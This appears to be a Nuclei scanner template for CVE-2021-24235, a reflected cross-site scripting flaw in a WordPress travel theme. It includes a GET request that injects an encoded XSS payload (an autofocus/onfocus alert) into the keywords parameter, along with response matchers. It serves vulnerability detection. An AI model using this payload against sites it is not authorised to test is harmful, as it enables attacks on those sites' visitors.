id: CVE-2021-24235 info: name: WordPress Goto Tour & Travel Theme <2.0 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress Goto Tour & Travel theme before 2.0 contains an unauthenticated reflected cross-site scripting vulnerability. It does not sanitize the keywords and start_date GET parameters on its Tour List page. remediation: | Update to the latest version of the WordPress Goto Tour & Travel Theme (>=2.0) to mitigate the XSS vulnerability. reference: - https://wpscan.com/vulnerability/eece90aa-582b-4c49-8b7c-14027f9df139 - https://m0ze.ru/vulnerability/[2021-02-10]-[WordPress]-[CWE-79]-Goto-WordPress-Theme-v1.9.txt - https://nvd.nist.gov/vuln/detail/CVE-2021-24235 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24235 cwe-id: CWE-79 epss-score: 0.00116 epss-percentile: 0.45175 cpe: cpe:2.3:a:boostifythemes:goto:*:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: boostifythemes product: goto framework: wordpress tags: xss,wp-theme,wpscan,cve,cve2021,wordpress http: - method: GET path: - '{{BaseURL}}/tour-list/?keywords=%3Cinput%2FAutofocus%2F%250D*%2FOnfocus%3Dalert%28123%29%3B%3E&start_date=xxxxxxxxxxxx&avaibility=13' matchers-condition: and matchers: - type: word part: body words: - "input/Autofocus/%0D*/Onfocus=alert(123);" - "goto-tour-list-js-extra" condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4b0a00483046022100db253294587b7f8fd89ed31dcb24c5e33d54a1bf71e1abc15414d2d882b54776022100875098bad992d9b84085d9a97c8919a548b534f27abc8a0fe161de0c0cbe94b5:922c64590222798bb761d5b6d8e72950